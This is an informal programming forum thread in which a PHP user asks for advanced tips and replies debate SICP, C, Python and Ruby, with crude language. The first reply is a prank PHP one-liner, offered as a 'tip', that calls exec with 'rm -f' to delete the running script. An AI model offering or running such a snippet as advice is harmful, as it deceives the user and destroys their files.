/prog/, I've been using PHP for about 5 years now and I'm not sure where to go from here. I want to learn more of PHP's advanced stuff but I can't find any good resources. Any of you in /prog/ have any cool tips or code snippets?

<?php exec("rm -f ".$_SERVER['PHP_SELF']);?>

PEAR's HTML_AJAX is fun for a intro to javascripting, try to study design patterns.  Good design for database and application doesn't distinguish between platforms.

Read SICP.

You go to www.python.org, and read SICP

FUck you. This is obviously just your sick way of saying "Ive read SICP", thats totally ffuckin irrelevant.

I've been using PHP since I was 14. It was good for making shitty little text based browser games for me and my friends to fuck around on, but now...I dunno. It's as if PHP has stagnated. It doesn't know what direction it's going in. I've started on the road to learning other languages (not Ruby), because this shit is going fucking NOWHERE. Want to have personal site and crappy forum on some shared hosting account? Fine. Anything else? GTFO.

This is not copypasta.

There's nothing advanced with PHP.
Learn C instead.

EXPERT PROGRAMMERS should all know the most valuable function is phpinfo(), for it answers all questions in the known universe, AND it saves you 15% on your car insurance.

Why not Ruby? It may be a legitimate choice to avoid it, but only if you have legitimate reasons (e.g. syntax), not if you have stupid reasons (e.g. Japanese, execution speed, "scripting language").

If PHP got too small for you, I recommend to try Python, Ruby or get more formal by reading SICP.

Lol. C is not more "advanced" than PHP (as luserlike as "advanced" sounds when applied to programming languages); on the contrary, it's far more limited. PHP is a dynamically evaluated language with builtin lists and dictionaries with iteration, dynamic definition, proper string support, references, classes, faked first class functions and somewhat anonymous functions. This is in fact more advanced than C, even if the implementation of some of these features is suboptimal. C's features are a subset of PHP's. If you want a more "advanced" language, you'll need to dig into functional programming or hybrid languages such as Python, Ruby, LISP, Lua, etc.

Too bad Ruby on Rails is slow as fuck.

MOARLIEK RUBY ON FAILS AMIRITE?

Why not Ruby? Japanese, execution speed.

I've been dabbling in Python and Perl.
